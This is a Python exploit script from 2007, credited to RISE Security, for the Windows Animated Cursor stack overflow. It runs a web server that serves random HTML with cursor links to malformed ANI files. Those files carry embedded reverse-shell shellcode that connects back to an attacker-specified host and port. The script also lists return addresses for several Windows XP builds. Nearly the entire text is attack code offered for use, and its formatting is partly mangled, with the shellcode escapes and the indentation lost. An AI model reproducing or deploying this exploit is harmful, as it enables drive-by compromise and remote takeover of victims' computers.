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mswin-anim.txt

Posted on 11 June 2007

#!/usr/bin/env python

#
#   $Id: win32-loadaniicon.py 4 2007-06-02 00:47:59Z ramon $
#
#   Windows Animated Cursor Stack Overflow Exploit
#   Copyright 2007 Ramon de Carvalho Valle <ramon@risesecurity.org>,
#   RISE Security <contact@risesecurity.org>
#
#   This program is free software; you can redistribute it and/or modify
#   it under the terms of the GNU General Public License as published by
#   the Free Software Foundation; either version 2 of the License, or
#   (at your option) any later version.
#
#   This program is distributed in the hope that it will be useful,
#   but WITHOUT ANY WARRANTY; without even the implied warranty of
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#   GNU General Public License for more details.
#
#   You should have received a copy of the GNU General Public License
#   along with this program; if not, write to the Free Software
#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
#

#
# Windows Animated Cursor Stack Overflow Vulnerability
# http://www.determina.com/security.research/vulnerabilities/ani-header.html
#

from BaseHTTPServer import *
from os.path import *
from random import *
from socket import *
from string import *
from struct import *
from sys import *

#
#  windows/shell_reverse_tcp - 287 bytes
#  http://www.metasploit.com
#  EXITFUNC=seh, LPORT=1234, LHOST=127.0.0.1
#
buf = \n'xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8b' + \n'x45x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01' + \n'xebx49x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07' + \n'xc1xcax0dx01xc2xebxf4x3bx54x24x28x75xe5x8bx5f' + \n'x24x01xebx66x8bx0cx4bx8bx5fx1cx01xebx03x2cx8b' + \n'x89x6cx24x1cx61xc3x31xdbx64x8bx43x30x8bx40x0c' + \n'x8bx70x1cxadx8bx40x08x5ex68x8ex4ex0execx50xff' + \n'xd6x66x53x66x68x33x32x68x77x73x32x5fx54xffxd0' + \n'x68xcbxedxfcx3bx50xffxd6x5fx89xe5x66x81xedx08' + \n'x02x55x6ax02xffxd0x68xd9x09xf5xadx57xffxd6x53' + \n'x53x53x53x43x53x43x53xffxd0x68x7fx00x00x01x66' + \n'x68x04xd2x66x53x89xe1x95x68xecxf9xaax60x57xff' + \n'xd6x6ax10x51x55xffxd0x66x6ax64x66x68x63x6dx6a' + \n'x50x59x29xccx89xe7x6ax44x89xe2x31xc0xf3xaax95' + \n'x89xfdxfex42x2dxfex42x2cx8dx7ax38xabxabxabx68' + \n'x72xfexb3x16xffx75x28xffxd6x5bx57x52x51x51x51' + \n'x6ax01x51x51x55x51xffxd0x68xadxd9x05xcex53xff' + \n'xd6x6axffxffx37xffxd0x68xe7x79xc6x79xffx75x04' + \n'xffxd6xffx77xfcxffxd0x68xf0x8ax04x5fx53xffxd6' + \n'xffxd0'

# Target list
target = [ \n# call [ebx+4]

# Microsoft Windows XP SP2 user32.dll (5.1.2600.2622) Multi Language
{'addr': 0x25ba, 'len': 2, 'offset': 80},

# Microsoft Windows XP SP2 user32.dll (5.1.2600.2180) Multi Language
{'addr': 0x25d0, 'len': 2, 'offset': 80},

# Microsoft Windows XP SP2 userenv.dll (5.1.2600.2180) English
{'addr': 0x769fc81a, 'len': 4, 'offset': 80},

# Microsoft Windows XP SP2 user32.dll (5.1.2600.2180) English
# {'addr': 0x77d825d0, 'len': 4, 'offset': 80},

# Microsoft Windows XP SP2 userenv.dll (5.1.2600.2180) Portuguese (Brazil)
{'addr': 0x769dc81a, 'len': 4, 'offset': 80},

# Microsoft Windows XP SP2 user32.dll (5.1.2600.2180) Portuguese (Brazil)
# {'addr': 0x77d625d0, 'len': 4, 'offset': 80},

# call [esi+4]

# Microsoft Windows XP SP1a userenv.dll English
{'addr': 0x75a758b1, 'len': 4, 'offset': 80},

# Microsoft Windows XP SP1a shell32.dll English
# {'addr': 0x77441a66, 'len': 4, 'offset': 80},

# Microsoft Windows XP userenv.dll (5.1.2600.0) Portuguese (Brazil)
{'addr': 0x75a4579b, 'len': 4, 'offset': 80},

# Microsoft Windows XP shell32.dll (6.0.2600.0) Portuguese (Brazil)
# {'addr': 0x77427214, 'len': 4, 'offset': 80},
]

# Target list index
tidx = 0

def randstr(count = 1, charset = 'ascii_alpha'):
# Set the charset
if charset == 'ascii_alpha':
charset = digits + ascii_uppercase + ascii_lowercase
elif charset == 'ascii_letters':
charset = ascii_letters
elif charset == 'ascii_lowercase':
charset = ascii_lowercase
elif charset == 'ascii_uppercase':
charset = ascii_uppercase
elif charset == 'digits':
charset = digits
elif charset == 'hexdigits':
charset = hexdigits
elif charset == 'octdigits':
charset = octdigits

# Create the string
i = 0
str = ''

while i < count:
str = str + charset[randint(0, len(charset)-1)]
i = i + 1

return str


def riff_chunk():
chunk_id = randstr(4)
chunk_data = randstr(randint(1, 256)*2)
chunk_size = pack('<L', len(chunk_data))

return chunk_id + chunk_size + chunk_data


def riff_ani_file():
global buf, target, tidx

# Create the first header subchunk
anih_a = [36, randint(1, 65535), randint(1, 65535), 0, 0, 0, 0, 0, 1]
anih_a = pack('<%dL' % len(anih_a), *[i for i in anih_a])
anih_a = 'anih' + pack('<L', len(anih_a)) + anih_a

# Create the second header subchunk
anih_b = randstr(target[tidx]['offset'])

# Set the current indexed target
if target[tidx]['len'] == 1:
anih_b = anih_b + pack('<B', target[tidx]['addr'])
elif target[tidx]['len'] == 2:
anih_b = anih_b + pack('<H', target[tidx]['addr'])
else:
anih_b = anih_b + pack('<L', target[tidx]['addr'])

anih_b = 'anih' + pack('<L', len(anih_b)) + anih_b

# Format ID
riff = 'ACON'

# Random subchunks
for i in range(randint(1, 256)):
riff = riff + riff_chunk()

# First header subchunk
riff = riff + anih_a

# Random subchunks
for i in range(randint(1, 256)):
riff = riff + riff_chunk()

# Second header subchunk
riff = riff + anih_b

# Shellcode
riff = riff + buf

# File ID and length of file
riff = 'RIFF' + pack('<L', len(riff)) + riff

# Update the target list index
if tidx < len(target)-1:
tidx = tidx + 1
else:
tidx = 0

return riff


def randhtml():
global buf, target, tidx

# Random RIFF file extensions
extension = ['ani', 'avi', 'cdr', 'rmi', 'wav']

# Random html document
html = \n'<html>
<head>
<title>' + \nrandstr(randint(1, 256)) + \n'</title>
</head>
<body>
'

for i in range(randint(0, 4)):
html = html + randstr(randint(1, 256)) + '
'

for i in range(len(target)):
html = html + \n'<div id="' + randstr(randint(4, 16)) + '" ' \n'style="cursor: url(/' + randstr(randint(4, 16)) + '.' + \nextension[randint(0, len(extension)-1)] + ')">
'

for i in range(randint(0, 4)):
html = html + randstr(randint(1, 256)) + '
'

html = html + '</div>
'

for i in range(randint(0, 4)):
html = html + randstr(randint(1, 256)) + '
'

html = html + '</body>
</html>
'

return html


class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)

if self.path == '/':
# Send the html document
html = randhtml()
self.send_header('Content-Type', 'text/html; charset=UTF-8')
self.send_header('Content-Length', str(len(html)))
self.end_headers()
self.wfile.write(html)
return

# Generate and send the RIFF file
riff = riff_ani_file()
self.send_header('Content-Type', 'application/octetstream')
self.send_header('Content-Length', str(len(riff)))
self.end_headers()
self.wfile.write(riff)


def usage():
print 'Usage: ./%s <http_host> <http_port> <host> <port>' \n% basename(argv[0])


if __name__ == '__main__':
print 'Windows Animated Cursor Stack Overflow Exploit'
print 'Copyright 2007 RISE Security <contact@risesecurity.org>
'

args = argv[1:]

if '-h' in args or '--help' in args:
usage()
exit()

http_host = '0.0.0.0'
http_port = 8080
host = '127.0.0.1'
port = 1234

try:
http_host = argv[1]
http_port = atoi(argv[2])
host = argv[3]
port = atoi(argv[4])
except:
pass

# Set shellcode host and port to connect to
buf = buf[:160] + inet_aton(gethostbyname(host)) + buf[164:]
buf = buf[:166] + pack('<H', port) + buf[168:]

# Start the HTTP server
server_class = HTTPServer
httpd = server_class((http_host, http_port), RequestHandler)

print 'Listening on %s:%s' % (http_host, http_port)

try:
httpd.serve_forever()
except:
pass

 

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